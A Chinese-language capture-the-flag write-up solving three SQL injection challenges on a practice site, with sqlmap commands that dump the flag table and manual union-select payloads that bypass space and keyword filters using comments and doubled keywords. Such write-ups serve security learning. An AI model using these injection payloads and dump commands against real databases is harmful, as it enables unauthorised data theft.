簡單的sql注入3
鏈接:http://ctf5.shiyanbar.com/web/index_3.php
輸入1,頁面顯示hello,輸入1',頁面報錯
嘗試一下用sqlmap跑,沒想到就跑出來了 O(∩_∩)O哈哈~
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs
猜測在數據庫web1里面
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1
明顯在表flag里面
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1
就在此段flag里面了
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1
簡單的sql注入2
鏈接:http://ctf5.shiyanbar.com/web/index_2.php
試着先輸入1,再輸入1',頁面報語法錯誤,再輸入1 '頁面出現SQLi detected!,推出空格被它過濾了
接下來有兩種方法:用sqlmap或者手注
先手注
過濾的空格可以用/**/代替,查詢當前數據庫的表
'/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
猜測在flag表里面
下面用sqlmap進行注入
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
3.簡單的SQL注入
鏈接:http://ctf5.shiyanbar.com/423/web/
這道題也是sql注入,輸入1,頁面顯示正常,輸出1',頁面報錯
之后通過輸入查表字段,發現union select 被過濾了,這是想到用兩個union表示
重復輸入union select后發現空格也被過濾了,繼續用兩個空格代替一個空格
1.查詢當前數據庫
1' unionunion selectselect database()'
2.查詢數據庫中的表
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1
3.查詢字段名
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag
4.最后構造出1' unionunion selectselect flag fromfrom flag wherewhere '1'='1